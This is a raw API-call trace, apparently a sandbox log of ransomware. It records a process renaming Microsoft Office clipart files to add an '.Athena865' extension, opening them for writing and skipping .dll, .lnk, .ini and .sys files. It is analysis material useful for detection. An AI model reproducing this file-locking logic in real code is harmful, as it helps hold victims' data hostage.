Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.athena865"), dwFlags=0x1) returned 1 [0127.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.228] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7116) returned 1 [0127.231] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187849.WMF" | out: lpString1="J0187849.WMF") returned="J0187849.WMF" [0127.231] lstrlenW (lpString="J0187849.WMF") returned 12 [0127.231] lstrlenW (lpString="Athena865") returned 9 [0127.231] lstrcmpiW (lpString1="87849.WMF", lpString2="Athena865") returned -1 [0127.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.Athena865") returned 73 [0127.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.athena865"), dwFlags=0x1) returned 1 [0127.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.233] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7572) returned 1 [0127.236] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187851.WMF" | out: lpString1="J0187851.WMF") returned="J0187851.WMF" [0127.236] lstrlenW (lpString="J0187851.WMF") returned 12 [0127.236] lstrlenW (lpString="Athena865") returned 9 [0127.236] lstrcmpiW (lpString1="87851.WMF", lpString2="Athena865") returned -1 [0127.236] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.Athena865") returned 73 [0127.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.athena865"), dwFlags=0x1) returned 1 [0127.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.237] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8732) returned 1 [0127.242] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187859.WMF" | out: lpString1="J0187859.WMF") returned="J0187859.WMF" [0127.242] lstrlenW (lpString="J0187859.WMF") returned 12 [0127.242] lstrlenW (lpString="Athena865") returned 9 [0127.242] lstrcmpiW (lpString1="87859.WMF", lpString2="Athena865") returned -1 [0127.242] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.Athena865") returned 73 [0127.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.athena865"), dwFlags=0x1) returned 1 [0127.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.248] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2732) returned 1 [0127.258] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187861.WMF" | out: lpString1="J0187861.WMF") returned="J0187861.WMF" [0127.258] lstrlenW (lpString="J0187861.WMF") returned 12 [0127.258] lstrlenW (lpString="Athena865") returned 9 [0127.258] lstrcmpiW (lpString1="87861.WMF", lpString2="Athena865") returned -1 [0127.258] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.Athena865") returned 73 [0127.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.athena865"), dwFlags=0x1) returned 1 [0127.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.264] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9108) returned 1 [0127.267] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187863.WMF" | out: lpString1="J0187863.WMF") returned="J0187863.WMF" [0127.267] lstrlenW (lpString="J0187863.WMF") returned 12 [0127.267] lstrlenW (lpString="Athena865") returned 9 [0127.267] lstrcmpiW (lpString1="87863.WMF", lpString2="Athena865") returned -1 [0127.267] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.Athena865") returned 73 [0127.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.athena865"), dwFlags=0x1) returned 1 [0127.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.269] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10820) returned 1 [0127.277] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187881.WMF" | out: lpString1="J0187881.WMF") returned="J0187881.WMF" [0127.277] lstrlenW (lpString="J0187881.WMF") returned 12 [0127.277] lstrlenW (lpString="Athena865") returned 9 [0127.277] lstrcmpiW (lpString1="87881.WMF", lpString2="Athena865") returned -1 [0127.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.Athena865") returned 73 [0127.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.athena865"), dwFlags=0x1) returned 1 [0127.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.279] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4696) returned 1 [0127.282] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187883.WMF" | out: lpString1="J0187883.WMF") returned="J0187883.WMF" [0127.282] lstrlenW (lpString="J0187883.WMF") returned 12 [0127.282] lstrlenW (lpString="Athena865") returned 9 [0127.282] lstrcmpiW (lpString1="87883.WMF", lpString2="Athena865") returned -1 [0127.282] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.Athena865") returned 73 [0127.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.athena865"), dwFlags=0x1) returned 1 [0127.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.283] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2100) returned 1 [0127.293] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187893.WMF" | out: lpString1="J0187893.WMF") returned="J0187893.WMF" [0127.293] lstrlenW (lpString="J0187893.WMF") returned 12 [0127.293] lstrlenW (lpString="Athena865") returned 9 [0127.295] lstrcmpiW (lpString1="87893.WMF", lpString2="Athena865") returned -1 [0127.295] lstrlenW (lpString=".dll") returned 4 [0127.295] lstrcmpiW (lpString1="J0187893.WMF", lpString2=".dll") returned 1 [0127.295] lstrlenW (lpString=".lnk") returned 4 [0127.295] lstrcmpiW (lpString1="J0187893.WMF", lpString2=".lnk") returned 1 [0127.295] lstrlenW (lpString=".ini") returned 4 [0127.296] lstrcmpiW (lpString1="J0187893.WMF", lpString2=".ini") returned 1 [0127.296] lstrlenW (lpString=".sys") returned 4 [0127.296] lstrcmpiW (lpString1="J0187893.WMF", lpString2=".sys") returned 1 [0127.296] lstrlenW (lpString="J0187893.WMF") returned 12 [0127.296] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.Athena865") returned 73 [0127.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.athena865"), dwFlags=0x1) returned 1 [0127.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.299] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5620) returned 1 [0127.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.306] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187895.WMF" | out: lpString1="J0187895.WMF") returned="J0187895.WMF" [0127.306] lstrlenW (lpString="J0187895.WMF") returned 12 [0127.306] lstrlenW (lpString="Athena865") returned 9 [0127.306] lstrcmpiW (lpString1="87895.WMF", lpString2="Athena865") returned -1 [0127.306] lstrlenW (lpString=".dll") returned 4 [0127.306] lstrcmpiW (lpString1="J0187895.WMF", lpString2=".dll") returned 1 [0127.306] lstrlenW (lpString=".lnk") returned 4 [0127.306] lstrcmpiW (lpString1="J0187895.WMF", lpString2=".lnk") returned 1 [0127.306] lstrlenW (lpString=".ini") returned 4 [0127.306] lstrcmpiW (lpString1="J0187895.WMF", lpString2=".ini") returned 1 [0127.307] lstrlenW (lpString=".sys") returned 4 [0127.307] lstrcmpiW (lpString1="J0187895.WMF", lpString2=".sys") returned 1 [0127.307] lstrlenW (lpString="J0187895.WMF") returned 12 [0127.307] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.Athena865") returned 73 [0127.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.athena865"), dwFlags=0x1) returned 1 [0127.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.308] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3472) returned 1 [0127.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.311] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187921.WMF" | out: lpString1="J0187921.WMF") returned="J0187921.WMF" [0127.311] lstrlenW (lpString="J0187921.WMF") returned 12 [0127.311] lstrlenW (lpString="Athena865") returned 9 [0127.311] lstrcmpiW (lpString1="87921.WMF", lpString2="Athena865") returned -1 [0127.311] lstrlenW (lpString=".dll") returned 4 [0127.311] lstrcmpiW (lpString1="J0187921.WMF", lpString2=".dll") returned 1 [0127.311] lstrlenW (lpString=".lnk") returned 4 [0127.311] lstrcmpiW (lpString1="J0187921.WMF", lpString2=".lnk") returned 1 [0127.311] lstrlenW (lpString=".ini") returned 4 [0127.311] lstrcmpiW (lpString1="J0187921.WMF", lpString2=".ini") returned 1 [0127.311] lstrlenW (lpString=".sys") returned 4 [0127.311] lstrcmpiW (lpString1="J0187921.WMF", lpString2=".sys") returned 1 [0127.312] lstrlenW (lpString="J0187921.WMF") returned 12 [0127.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.Athena865") returned 73 [0127.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.athena865"), dwFlags=0x1) returned 1 [0127.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.313] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5000) returned 1 [0127.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.316] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188511.WMF" | out: lpString1="J0188511.WMF") returned="J0188511.WMF" [0127.317] lstrlenW (lpString="J0188511.WMF") returned 12 [0127.317] lstrlenW (lpString="Athena865") returned 9 [0127.317] lstrcmpiW (lpString1="88511.WMF", lpString2="Athena865") returned -1 [0127.317] lstrlenW (lpString=".dll") returned 4 [0127.317] lstrcmpiW (lpString1="J0188511.WMF", lpString2=".dll") returned 1 [0127.317] lstrlenW (lpString=".lnk") returned 4 [0127.317] lstrcmpiW (lpString1="J0188511.WMF", lpString2=".lnk") returned 1 [0127.317] lstrlenW (lpString=".ini") returned 4 [0127.317] lstrcmpiW (lpString1="J0188511.WMF", lpString2=".ini") returned 1 [0127.317] lstrlenW (lpString=".sys") returned 4 [0127.317] lstrcmpiW (lpString1="J0188511.WMF", lpString2=".sys") returned 1 [0127.317] lstrlenW (lpString="J0188511.WMF") returned 12 [0127.317] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.Athena865") returned 73 [0127.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.athena865"), dwFlags=0x1) returned 1 [0127.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.319] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10716) returned 1 [0127.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.322] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188513.WMF" | out: lpString1="J0188513.WMF") returned="J0188513.WMF" [0127.322] lstrlenW (lpString="J0188513.WMF") returned 12 [0127.322] lstrlenW (lpString="Athena865") returned 9 [0127.322] lstrcmpiW (lpString1="88513.WMF", lpString2="Athena865") returned -1 [0127.322] lstrlenW (lpString=".dll") returned 4 [0127.322] lstrcmpiW (lpString1="J0188513.WMF", lpString2=".dll") returned 1 [0127.322] lstrlenW (lpString=".lnk") returned 4 [0127.322] lstrcmpiW (lpString1="J0188513.WMF", lpString2=".lnk") returned 1 [0127.322] lstrlenW (lpString=".ini") returned 4 [0127.322] lstrcmpiW (lpString1="J0188513.WMF", lpString2=".ini") returned 1 [0127.322] lstrlenW (lpString=".sys") returned 4 [0127.322] lstrcmpiW (lpString1="J0188513.WMF", lpString2=".sys") returned 1 [0127.323] lstrlenW (lpString="J0188513.WMF") returned 12 [0127.323] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.Athena865") returned 73 [0127.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.athena865"), dwFlags=0x1) returned 1 [0127.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.324] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12292) returned 1 [0127.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.327] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188519.WMF" | out: lpString1="J0188519.WMF") returned="J0188519.WMF" [0127.327] lstrlenW (lpString="J0188519.WMF") returned 12 [0127.327] lstrlenW (lpString="Athena865") returned 9 [0127.327] lstrcmpiW (lpString1="88519.WMF", lpString2="Athena865") returned -1 [0127.327] lstrlenW (lpString=".dll") returned 4 [0127.327] lstrcmpiW (lpString1="J0188519.WMF", lpString2=".dll") returned 1 [0127.327] lstrlenW (lpString=".lnk") returned 4 [0127.328] lstrcmpiW (lpString1="J0188519.WMF", lpString2=".lnk") returned 1 [0127.328] lstrlenW (lpString=".ini") returned 4 [0127.328] lstrcmpiW (lpString1="J0188519.WMF", lpString2=".ini") returned 1 [0127.328] lstrlenW (lpString=".sys") returned 4 [0127.328] lstrcmpiW (lpString1="J0188519.WMF", lpString2=".sys") returned 1 [0127.328] lstrlenW (lpString="J0188519.WMF") returned 12 [0127.328] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.Athena865") returned 73 [0127.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.athena865"), dwFlags=0x1) returned 1 [0127.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.329] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5824) returned 1 [0127.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.332] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188587.WMF" | out: lpString1="J0188587.WMF") returned="J0188587.WMF" [0127.332] lstrlenW (lpString="J0188587.WMF") returned 12 [0127.332] lstrlenW (lpString="Athena865") returned 9 [0127.332] lstrcmpiW (lpString1="88587.WMF", lpString2="Athena865") returned -1 [0127.332] lstrlenW (lpString=".dll") returned 4 [0127.332] lstrcmpiW (lpString1="J0188587.WMF", lpString2=".dll") returned 1 [0127.332] lstrlenW (lpString=".lnk") returned 4 [0127.332] lstrcmpiW (lpString1="J0188587.WMF", lpString2=".lnk") returned 1 [0127.332] lstrlenW (lpString=".ini") returned 4 [0127.332] lstrcmpiW (lpString1="J0188587.WMF", lpString2=".ini") returned 1 [0127.332] lstrlenW (lpString=".sys") returned 4 [0127.332] lstrcmpiW (lpString1="J0188587.WMF", lpString2=".sys") returned 1 [0127.332] lstrlenW (lpString="J0188587.WMF") returned 12 [0127.333] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.Athena865") returned 73 [0127.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.athena865"), dwFlags=0x1) returned 1 [0127.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.334] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15196) returned 1 [0127.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.337] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0188667.WMF" | out: lpString1="J0188667.WMF") returned="J0188667.WMF" [0127.337] lstrlenW (lpString="J0188667.WMF") returned 12 [0127.337] lstrlenW (lpString="Athena865") returned 9 [0127.337] lstrcmpiW (lpString1="88667.WMF", lpString2="Athena865") returned -1 [0127.337] lstrlenW (lpString=".dll") returned 4 [0127.337] lstrcmpiW (lpString1="J0188667.WMF", lpString2=".dll") returned 1 [0127.337] lstrlenW (lpString=".lnk") returned 4 [0127.338] lstrcmpiW (lpString1="J0188667.WMF", lpString2=".lnk") returned 1 [0127.338] lstrlenW (lpString=".ini") returned 4 [0127.338] lstrcmpiW (lpString1="J0188667.WMF", lpString2=".ini") returned 1 [0127.338] lstrlenW (lpString=".sys") returned 4 